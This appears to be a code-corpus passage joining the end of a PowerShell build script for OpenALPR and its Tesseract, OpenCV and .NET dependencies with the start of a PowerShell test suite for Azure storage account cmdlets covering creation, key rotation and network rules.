$true)] [string] $Filename, [Parameter(Position = 1, ValueFromPipeline = $true)] [string] $DestinationDir ) Write-Diagnostic "Applying patch: $Filename" $PatchAbsPath = Join-Path $PatchesDir $Filename if(-not (Test-Path $PatchAbsPath)) { Write-Output "Patch $Filename already applied, skipping." return } Copy-Item -Force $PatchAbsPath $DestinationDir | Out-Null pushd $DestinationDir git reset --hard | Out-Null git apply --ignore-whitespace --index $Filename | Out-Null pushd $WorkingDir } function Set-AssemblyVersion { param( [parameter(Position = 0, Mandatory = $true, ValueFromPipeline = $true)] [string]$assemblyInfo, [parameter(Position = 1, Mandatory = $true, ValueFromPipeline = $true)] [string]$version ) function Write-VersionAssemblyInfo { Param( [string] $version, [string] $assemblyInfo ) $nugetVersion = $version $version = $version -match "\d+\.\d+\.\d+" $version = $matches[0] $numberOfReplacements = 0 $newContent = Get-Content($assemblyInfo) | ForEach-Object { $line = $_ if($line.StartsWith("[assembly: AssemblyInformationalVersionAttribute")) { $line = "[assembly: AssemblyInformationalVersionAttribute(""$nugetVersion"")]" $numberOfReplacements++ } elseif($line.StartsWith("[assembly: AssemblyFileVersionAttribute")) { $line = "[assembly: AssemblyFileVersionAttribute(""$version"")]" $numberOfReplacements++ } elseif($line.StartsWith("[assembly: AssemblyVersionAttribute")) { $line = "[assembly: AssemblyVersionAttribute(""$version"")]" $numberOfReplacements++ } $line } if ($numberOfReplacements -ne 3) { Die "Expected to replace the version number in 3 places in AssemblyInfo.cs (AssemblyInformationalVersionAttribute, AssemblyFileVersionAttribute, AssemblyVersionAttribute) but actually replaced it in $numberOfReplacements" } $newContent | Set-Content $assemblyInfo -Encoding UTF8 } Write-VersionAssemblyInfo -assemblyInfo $assemblyInfo -version $version } ########################################################################################### function Build-Tesseract { Write-Diagnostic "Tesseract: $Configuration, $Platform, $PlatformToolset" $ProjectsPath = Join-Path $WorkingDir tesseract-ocr\dependencies if(Test-Path $OutputDir\tesseract\*tesseract*.lib) { Write-Output "Tesseract: Already built, skipping." return } Msbuild $ProjectsPath\giflib\giflib.vcxproj $OutputDir\tesseract @( "/p:Configuration=$Configuration" ) Msbuild $ProjectsPath\libjpeg\jpeg.vcxproj $OutputDir\tesseract @( "/p:Configuration=$Configuration" ) Msbuild $ProjectsPath\zlib\zlibstat.vcxproj $OutputDir\tesseract @( "/p:Configuration=$Configuration" ) Msbuild $ProjectsPath\libpng\libpng.vcxproj $OutputDir\tesseract @( "/p:Configuration=$Configuration" ) Msbuild $ProjectsPath\libtiff\libtiff\libtiff.vcxproj $OutputDir\tesseract @( "/p:Configuration=$Configuration" ) Msbuild $ProjectsPath\liblept\leptonica.vcxproj $OutputDir\tesseract @( "/p:Configuration=LIB_$Configuration" ) Msbuild $ProjectsPath\liblept\leptonica.vcxproj $OutputDir\tesseract @( "/p:Configuration=DLL_$Configuration", "/p:LeptonicaDependenciesDirectory=`"$OutputDir\tesseract`"" # Above dependencies link path ) Apply-Patch tesseract$TesseractVersion.x64.support.diff $WorkingDir\tesseract-ocr\src Msbuild $Workingdir\tesseract-ocr\src\vs2010\libtesseract\libtesseract.vcxproj $OutputDir\tesseract @( "/p:Configuration=LIB_$Configuration" ) } function Build-OpenCV { Write-Diagnostic "OpenCV: $Configuration, $Platform, $PlatformToolset" if(Test-Path $OpenCVOutputDir) { Write-Output "OpenCV: Already built, skipping." return } $CmakeArguments = @( "-DBUILD_PERF_TESTS=OFF", "-DBUILD_TESTS=OFF", "-DBUILD_EXAMPLES=OFF", "-DBUILD_opencv_world=ON", "-DWITH_OPENCL=ON", "-DCMAKE_BUILD_TYPE=$Configuration", "-Wno-dev", "-G`"$CmakeGenerator`"", "-H`"$OpenCVDir`"", "-B`"$OpenCVOutputDir`"" ) if($CudaGeneration -eq "None") { $CmakeArguments += "-DWITH_CUDA=OFF" } else { $CmakeArguments += "-DCUDA_GENERATION=$CudaGeneration" } if($CudaGeneration -ne "None") { Apply-Patch opencv$OpenCVVersion.cudafixes.diff $OpenCVDir } Start-Process "cmake.exe" $CmakeArguments Start-Process "cmake.exe" @( "--build `"$OpenCVOutputDir`" --config $Configuration" ) } function Build-OpenALPR { Write-Diagnostic "OpenALPR: $Configuration, $Platform, $PlatformToolset" $OpenALPR_WITH_GPU_DETECTOR = "OFF" if($CudaGeneration -ne "None") { $OpenALPR_WITH_GPU_DETECTOR = "ON" } $CmakeArguments = @( "-DTesseract_INCLUDE_BASEAPI_DIR=$TesseractIncludeDir", "-DTesseract_INCLUDE_CCMAIN_DIR=$TesseractDir\src\ccmain", "-DTesseract_INCLUDE_CCSTRUCT_DIR=$TesseractDir\src\ccstruct", "-DTesseract_INCLUDE_CCUTIL_DIR=$TesseractDir\src\ccutil", "-DTesseract_LIB=$TesseractOutputDir\$TesseractLibName", "-DLeptonica_LIB=$TesseractOutputDir\$LeptonicaLibName", "-DOpenCV_DIR=$OpenCVOutputDir", "-DOPENALPR_MAJOR_VERSION=$OpenALPRVersionMajorMinorPatch[0]", "-DOPENALPR_MINOR_VERSION=$OpenALPRVersionMajorMinorPatch[1]", "-DOPENALPR_PATCH_VERSION=$OpenALPRVersionMajorMinorPatch[2]", "-DOPENALPR_VERSION=$OpenALPRVersionMajorMinorPatch", "-DWITH_GPU_DETECTOR=$OpenALPR_WITH_GPU_DETECTOR", "-DWITH_TESTS=OFF", "-DWITH_BINDING_JAVA=OFF", "-DWITH_BINDING_PYTHON=OFF", "-DWITH_UTILITIES=ON", "-DCMAKE_BUILD_TYPE=$Configuration", "-Wno-dev", "-G`"$CmakeGenerator`"", "-H`"$OpenALPRDir\src`"", "-B`"$OpenALPROutputDir`"" ) if($RebuildOpenALPR -ne $false) { Remove-Item $OpenALPROutputDir -Include Cmake* -ErrorAction SilentlyContinue -Force -Recurse | Out-Null } Start-Process "cmake.exe" $CmakeArguments Start-Process "cmake.exe" @( "--build `"$OpenALPROutputDir`" --config $Configuration" ) Copy-Build-Result-To $DistDir } function Nupkg-OpenALPRNet { $NuspecFile = Join-Path $WorkingDir openalpr.nuspec $NupkgProperties = @( "DistDir=`"$DistDir`"", "Platform=`"$Platform`"", "PlatformToolset=`"$PlatformToolset`"", "Version=$OpenALPRVersion", "Configuration=$Configuration" ) -join ";" $NupkgArguments = @( "pack", "$NuspecFile", "-Properties `"$NupkgProperties`"", "-OutputDirectory `"$DistDir`"" ) Start-Process "nuget.exe" $NupkgArguments } function Build-OpenALPRNet { Write-Diagnostic "OpenALPRNet: $Configuration, $Platform, $PlatformToolset" if($RebuildOpenALPRNet -eq $false -and (Test-Path $OpenALPRNetDirOutputDir)) { Write-Output "OpenALPRNet: Already built, skipping." return } $VcxProjectFilename = Join-Path $OpenALPRNetDirOutputDir openalpr-net.vcxproj function Copy-Sources { Copy-Item $OpenALPRNetDir -Recurse -Force $OpenALPRNetDirOutputDir | Out-Null # Set working directory Vcxproj-Set $VcxProjectFilename '/rs:Project/rs:PropertyGroup[@Label="Globals"]/rs:OpenALPRWindowsDir' $WorkingDir # Nuke <TargetPlatformVersion> Vcxproj-Nuke $VcxProjectFilename "/rs:Project/rs:PropertyGroup/rs:TargetPlatformVersion" # Set assembly info Set-AssemblyVersion $OpenALPRNetDirOutputDir\AssemblyInfo.cpp $OpenALPRVersion } function Build-Sources { Msbuild $VcxProjectFilename $OpenALPRNetDirOutputDir\$Configuration @( "/p:Configuration=$Configuration", "/p:TargetFrameworkVersion=v4.0", "/p:CudaGeneration=$CudaGeneration" ) Copy-Item -Force $OpenALPRNetDirOutputDir\$Configuration\openalpr-net.dll $DistDir | Out-Null } Copy-Sources Build-Sources Copy-Build-Result-To $DistDir } function Copy-Build-Result-To { param( [Parameter(Position = 0, ValueFromPipeline = $true)] [string] $DestinationDir ) Write-Diagnostic "Copy-Build-Result-To: $DestinationDir" if(-not (Test-Path($DestinationDir))) { New-Item -ItemType Directory -Path $DestinationDir -Force | Out-Null } # OpenCV Copy-Item (Join-Path $OpenCVOutputDir bin\$Configuration\*.dll) $DestinationDir | Out-Null Copy-Item (Join-Path $OpenCVOutputDir lib\$Configuration\*.lib) $DestinationDir | Out-Null # Tesseract Copy-Item $TesseractOutputDir\*.dll -Force $DestinationDir | Out-Null Copy-Item $TesseractOutputDir\*.lib -Force $DestinationDir | Out-Null # OpenALPR Copy-Item $OpenALPROutputDir\$Configuration\alpr.exe $DestinationDir | Out-Null Copy-Item $OpenALPROutputDir\misc_utilities\$Configuration\*.* $DestinationDir | Out-Null Copy-Item $OpenALPROutputDir\openalpr\$Configuration\openalpr.lib -Force $DestinationDir\openalpr.lib | Out-Null Copy-Item $OpenALPROutputDir\openalpr\$Configuration\openalpr.dll -Force $DestinationDir\openalpr.dll | Out-Null Copy-Item $OpenALPROutputDir\openalpr\$Configuration\openalpr-static.lib -Force $DestinationDir\openalpr-static.lib | Out-Null Copy-Item $OpenALPROutputDir\video\$Configuration\video.lib -Force $DestinationDir\video.lib | Out-Null Copy-Item $OpenALPROutputDir\openalpr\support\$Configuration\support.lib -Force $DestinationDir\support.lib | Out-Null Copy-Item $OpenALPROutputDir\statedetection\$Configuration\statedetection.lib -Force $DestinationDir\statedetection.lib | Out-Null Copy-Item $OpenALPRDir\runtime_data\ -Recurse -Force $DestinationDir\runtime_data\ | Out-Null Copy-Item $OpenALPRDir\config\openalpr.conf.in -Force $DestinationDir\openalpr.conf | Out-Null (Get-Content $DestinationDir\openalpr.conf) -replace '^runtime_dir.*$', 'runtime_dir = runtime_data' | Out-File $DestinationDir\openalpr.conf -Encoding "ASCII" | Out-Null } function Target-Build { Set-PlatformToolset Requires-Git Requires-Cmake Requires-Msbuild Requires-Cmake if($Clean -eq $true) { Remove-Item -Recurse -Force $OutputDir | Out-Null Remove-Item -Recurse -Force $DistDir | Out-Null } Build-Tesseract Build-OpenCV Build-OpenALPR Build-OpenALPRNet } $BuildTime = $StopWatch::StartNew() switch($Target) { "Build" { Target-Build } "Nupkg" { $script:RebuildOpenALPRNet = $true Target-Build Nupkg-OpenALPRNet } "RebuildOpenALPR" { $script:RebuildOpenALPR = $true Target-Build } "RebuildOpenALPRNet" { $script:RebuildOpenALPRNet = $true Target-Build } "RebuildOpenALPRThenNupkg" { $script:RebuildOpenALPR = $true $script:RebuildOpenALPRNet = $true Target-Build Nupkg-OpenALPRNet } "RebuildOpenALPRNetThenNupkg" { $script:RebuildOpenALPRNet = $true Target-Build Nupkg-OpenALPRNet } } $BuildTime.Stop() $Elapsed = $BuildTime.Elapsed Write-Diagnostic "Elapsed: $Elapsed"
peters/openalpr-windows
build.ps1
PowerShell
mit
22,554
# ---------------------------------------------------------------------------------- # # Copyright Microsoft Corporation # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ---------------------------------------------------------------------------------- <# .SYNOPSIS Test StorageAccount .DESCRIPTION SmokeTest #> function Test-StorageAccount { # Setup $rgname = Get-StorageManagementTestResourceName; try { # Test $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; $kind = 'BlobStorage' $accessTier = 'Cool' Write-Verbose "RGName: $rgname | Loc: $loc" New-AzureRmResourceGroup -Name $rgname -Location $loc; $job = New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype -Kind $kind -AccessTier $accessTier -AsJob $job | Wait-Job $stos = Get-AzureRmStorageAccount -ResourceGroupName $rgname; $stotype = 'StandardGRS'; Retry-IfException { $global:sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname; } Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreEqual $kind $sto.Kind; Assert-AreEqual $accessTier $sto.AccessTier; $stotype = 'Standard_LRS'; $accessTier = 'Hot' # TODO: Still need to do retry for Set-, even after Get- returns it. Retry-IfException { $global:sto = Set-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Type $stotype -AccessTier $accessTier -Force } $sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname; $stotype = 'StandardLRS'; Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreEqual $kind $sto.Kind; Assert-AreEqual $accessTier $sto.AccessTier; $stotype = 'Standard_RAGRS'; $accessTier = 'Cool' Set-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Type $stotype -AccessTier $accessTier -Force $sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname; $stotype = 'StandardRAGRS'; Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreEqual $kind $sto.Kind; Assert-AreEqual $accessTier $sto.AccessTier; $stotype = 'Standard_GRS'; Set-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Type $stotype $sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname; $stotype = 'StandardGRS'; Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreEqual $kind $sto.Kind; Assert-AreEqual $accessTier $sto.AccessTier; $stokey1 = Get-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname; New-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname -KeyName key1; $stokey2 = Get-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname; Assert-AreNotEqual $stokey1[0].Value $stokey2[0].Value; Assert-AreEqual $stokey2[1].Value $stokey1[1].Value; New-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname -KeyName key2; $stokey3 = Get-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname; Assert-AreNotEqual $stokey1[0].Value $stokey2[0].Value; Assert-AreEqual $stokey3[0].Value $stokey2[0].Value; Assert-AreNotEqual $stokey2[1].Value $stokey3[1].Value; Remove-AzureRmStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test New-AzureRmStorageAccount .DESCRIPTION Smoke[Broken]Test #> function Test-NewAzureStorageAccount { # Setup $rgname = Get-StorageManagementTestResourceName; try { # Test $stoname = 'sto' + $rgname; $stotype = 'Standard_LRS'; $kind = 'StorageV2' $loc = Get-ProviderLocation ResourceManagement; New-AzureRmResourceGroup -Name $rgname -Location $loc; $loc = Get-ProviderLocation ResourceManagement; New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype -Kind $kind; $sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname; $stotype = 'StandardLRS'; Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreEqual $kind $sto.Kind; Retry-IfException { Remove-AzureRmStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test Get-AzureRmStorageAccount .DESCRIPTION SmokeTest #> function Test-GetAzureStorageAccount { # Setup $rgname = Get-StorageManagementTestResourceName; try { # Test $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; $kind = 'Storage' New-AzureRmResourceGroup -Name $rgname -Location $loc; Write-Output ("Resource Group created") New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype ; Retry-IfException { $global:sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname; } $stotype = 'StandardGRS'; Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreEqual $kind $sto.Kind; Assert-AreEqual $false $sto.EnableHttpsTrafficOnly; $stos = Get-AzureRmStorageAccount -ResourceGroupName $rgname; Assert-AreEqual $stoname $stos[0].StorageAccountName; Assert-AreEqual $stotype $stos[0].Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $stos[0].Location; Assert-AreEqual $kind $sto.Kind; Assert-AreEqual $false $sto.EnableHttpsTrafficOnly; Remove-AzureRmStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test Set-AzureRmStorageAccount .DESCRIPTION SmokeTest #> function Test-SetAzureStorageAccount { # Setup $rgname = Get-StorageManagementTestResourceName; try { # Test $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; $kind = 'Storage' New-AzureRmResourceGroup -Name $rgname -Location $loc; New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype -Kind $kind -EnableHttpsTrafficOnly $true; Retry-IfException { $global:sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname; } $stotype = 'StandardGRS'; Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreEqual $kind $sto.Kind; Assert-AreEqual $true $sto.EnableHttpsTrafficOnly; $stos = Get-AzureRmStorageAccount -ResourceGroupName $rgname; Assert-AreEqual $stoname $stos[0].StorageAccountName; Assert-AreEqual $stotype $stos[0].Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $stos[0].Location; Assert-AreEqual $kind $sto.Kind; Assert-AreEqual $true $sto.EnableHttpsTrafficOnly; $stotype = 'Standard_LRS'; # TODO: Still need to do retry for Set-, even after Get- returns it. Retry-IfException { Set-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Type $stotype -EnableHttpsTrafficOnly $false } $stotype = 'Standard_RAGRS'; Set-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Type $stotype; $sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname; $stotype = 'StandardRAGRS'; Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreEqual $kind $sto.Kind; Assert-AreEqual $false $sto.EnableHttpsTrafficOnly; Remove-AzureRmStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test Remove-AzureRmStorageAccount -Force .DESCRIPTION SmokeTest #> function Test-RemoveAzureStorageAccount { # Setup $rgname = Get-StorageManagementTestResourceName; try { # Test $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; New-AzureRmResourceGroup -Name $rgname -Location $loc; New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype; Retry-IfException { Remove-AzureRmStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test New-AzureRmStorageAccountEncryptionKeySource #> function Test-SetAzureRmStorageAccountKeySource { # Setup $rgname = Get-StorageManagementTestResourceName; try { # Test $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; New-AzureRmResourceGroup -Name $rgname -Location $loc; New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype; $sto = Set-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -StorageEncryption $stotype = 'StandardGRS'; Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreEqual $true $sto.Encryption.Services.Blob.Enabled Assert-AreEqual $true $sto.Encryption.Services.File.Enabled Assert-AreEqual Microsoft.Storage $sto.Encryption.KeySource; Assert-AreEqual $null $sto.Encryption.Keyvaultproperties.Keyname; Assert-AreEqual $null $sto.Encryption.Keyvaultproperties.KeyVersion; Assert-AreEqual $null $sto.Encryption.Keyvaultproperties.KeyVaultUri; $sto = Set-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -StorageEncryption -AssignIdentity Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreNotEqual SystemAssigned $sto.Identity.Type Assert-AreEqual $true $sto.Encryption.Services.Blob.Enabled Assert-AreEqual $true $sto.Encryption.Services.File.Enabled Assert-AreEqual Microsoft.Storage $sto.Encryption.KeySource; Assert-AreEqual $null $sto.Encryption.Keyvaultproperties.Keyname; Assert-AreEqual $null $sto.Encryption.Keyvaultproperties.KeyVersion; Assert-AreEqual $null $sto.Encryption.Keyvaultproperties.KeyVaultUri; Remove-AzureRmStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test Get-AzureRmStorageAccountKey #> function Test-GetAzureStorageAccountKey { # Setup $rgname = Get-StorageManagementTestResourceName; try { # Test $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; New-AzureRmResourceGroup -Name $rgname -Location $loc; New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype; Retry-IfException { $global:stokeys = Get-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname; } Assert-AreNotEqual $stokeys[1].Value $stokeys[0].Value; Remove-AzureRmStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test New-AzureRmStorageAccountKey #> function Test-NewAzureStorageAccountKey { # Setup $rgname = Get-StorageManagementTestResourceName; try { # Test $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; New-AzureRmResourceGroup -Name $rgname -Location $loc; New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype; Retry-IfException { $global:stokey1 = Get-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname; } New-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname -KeyName key1; $stokey2 = Get-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname; Assert-AreNotEqual $stokey1[0].Value $stokey2[0].Value; Assert-AreEqual $stokey1[1].Value $stokey2[1].Value; New-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname -KeyName key2; $stokey3 = Get-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname; Assert-AreNotEqual $stokey1[0].Value $stokey2[0].Value; Assert-AreEqual $stokey2[0].Value $stokey3[0].Value; Assert-AreNotEqual $stokey2[1].Value $stokey3[1].Value; Remove-AzureRmStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test Get-AzureRmStorageAccount | Get-AzureRmStorageAccountKey #> function Test-PipingGetAccountToGetKey { # Setup $rgname = Get-StorageManagementTestResourceName; try { # Test $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; New-AzureRmResourceGroup -Name $rgname -Location $loc; New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype; Retry-IfException { $global:stokeys = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname | Get-AzureRmStorageAccountKey -ResourceGroupName $rgname; } Assert-AreNotEqual $stokeys[0].Value $stokeys[1].Value; Remove-AzureRmStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test Get-AzureRmStorageAccount | Set-AzureRmCurrentStorageAccount .DESCRIPTION SmokeTest #> function Test-PipingToSetAzureRmCurrentStorageAccount { # Setup $rgname = Get-StorageManagementTestResourceName try { # Test $stoname = 'sto' + $rgname $stotype = 'Standard_GRS' $loc = Get-ProviderLocation ResourceManagement New-AzureRmResourceGroup -Name $rgname -Location $loc New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype Retry-IfException { $global:sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname } $global:sto | Set-AzureRmCurrentStorageAccount $context = Get-AzureRmContext $sub = New-Object -TypeName Microsoft.Azure.Commands.Profile.Models.PSAzureSubscription -ArgumentList $context.Subscription Assert-AreEqual $stoname $sub.CurrentStorageAccountName $global:sto | Remove-AzureRmStorageAccount -Force } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test Set-AzureRmCurrentStorageAccount with RG and storage account name parameters .DESCRIPTION SmokeTest #> function Test-SetAzureRmCurrentStorageAccount { # Setup $rgname = Get-StorageManagementTestResourceName try { # Test $stoname = 'sto' + $rgname $stotype = 'Standard_GRS' $loc = Get-ProviderLocation ResourceManagement New-AzureRmResourceGroup -Name $rgname -Location $loc New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype Retry-IfException { $global:sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname } Set-AzureRmCurrentStorageAccount -ResourceGroupName $rgname -StorageAccountName $stoname $context = Get-AzureRmContext Assert-AreEqual $stoname $context.Subscription.CurrentStorageAccountName $global:sto | Remove-AzureRmStorageAccount -Force } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test NetworkRule #> function Test-NetworkRule { # Setup $rgname = Get-StorageManagementTestResourceName; try { # Test $stoname = 'sto' + $rgname; $stotype = 'Standard_LRS'; $loc = Get-ProviderLocation ResourceManagement; $ip1 = "20.11.0.0/16"; $ip2 = "10.0.0.0/7"; $ip3 = "11.1.1.0/24"; $ip4 = "28.0.2.0/19"; New-AzureRmResourceGroup -Name $rgname -Location $loc; New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype -NetworkRuleSet (@{bypass="Logging,Metrics,AzureServices"; ipRules=(@{IPAddressOrRange="$ip1";Action="allow"}, @{IPAddressOrRange="$ip2";Action="allow"}); defaultAction="Deny"}) $stoacl = (Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname).NetworkRuleSet Assert-AreEqual 7 $stoacl.Bypass; Assert-AreEqual Deny $stoacl.DefaultAction; Assert-AreEqual 2 $stoacl.IpRules.Count Assert-AreEqual $ip1 $stoacl.IpRules[0].IPAddressOrRange; Assert-AreEqual $ip2 $stoacl.IpRules[1].IPAddressOrRange; Assert-AreEqual 0 $stoacl.VirtualNetworkRules.Count Update-AzureRmStorageAccountNetworkRuleSet -verbose -ResourceGroupName $rgname -Name $stoname -Bypass AzureServices,Metrics -DefaultAction Allow -IpRule (@{IPAddressOrRange="$ip3";Action="allow"},@{IPAddressOrRange="$ip4";Action="allow"}) $stoacl = Get-AzureRmStorageAccountNetworkRuleSet -ResourceGroupName $rgname -Name $stoname $stoacliprule = $stoacl.IpRules Assert-AreEqual 6 $stoacl.Bypass; Assert-AreEqual Allow $stoacl.DefaultAction; Assert-AreEqual 2 $stoacl.IpRules.Count Assert-AreEqual $ip3 $stoacl.IpRules[0].IPAddressOrRange; Assert-AreEqual $ip4 $stoacl.IpRules[1].IPAddressOrRange; Assert-AreEqual 0 $stoacl.VirtualNetworkRules.Count $job = Remove-AzureRmStorageAccountNetworkRule -ResourceGroupName $rgname -Name $stoname -IPAddressOrRange "$ip3" -AsJob $job | Wait-Job $stoacl = Get-AzureRmStorageAccountNetworkRuleSet -ResourceGroupName $rgname -Name $stoname Assert-AreEqual 6 $stoacl.Bypass; Assert-AreEqual Allow $stoacl.DefaultAction; Assert-AreEqual 1 $stoacl.IpRules.Count Assert-AreEqual $ip4 $stoacl.IpRules[0].IPAddressOrRange; Assert-AreEqual 0 $stoacl.VirtualNetworkRules.Count $job = Update-AzureRmStorageAccountNetworkRuleSet -ResourceGroupName $rgname -Name $stoname -IpRule @() -DefaultAction Deny -Bypass None -AsJob $job | Wait-Job $stoacl = Get-AzureRmStorageAccountNetworkRuleSet -ResourceGroupName $rgname -Name $stoname Assert-AreEqual 0 $stoacl.Bypass; Assert-AreEqual Deny $stoacl.DefaultAction; Assert-AreEqual 0 $stoacl.IpRules.Count Assert-AreEqual 0 $stoacl.VirtualNetworkRules.Count foreach($iprule in $stoacliprule) { $job = Add-AzureRmStorageAccountNetworkRule -ResourceGroupName $rgname -Name $stoname -IpRule $iprule -AsJob $job | Wait-Job } $stoacl = Get-AzureRmStorageAccountNetworkRuleSet -ResourceGroupName $rgname -Name $stoname Assert-AreEqual 0 $stoacl.Bypass; Assert-AreEqual Deny $stoacl.DefaultAction; Assert-AreEqual 2 $stoacl.IpRules.Count Assert-AreEqual $ip3 $stoacl.IpRules[0].IPAddressOrRange; Assert-AreEqual $ip4 $stoacl.IpRules[1].IPAddressOrRange; Assert-AreEqual 0 $stoacl.VirtualNetworkRules.Count $job = Set-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -AsJob -NetworkRuleSet (@{bypass="AzureServices"; 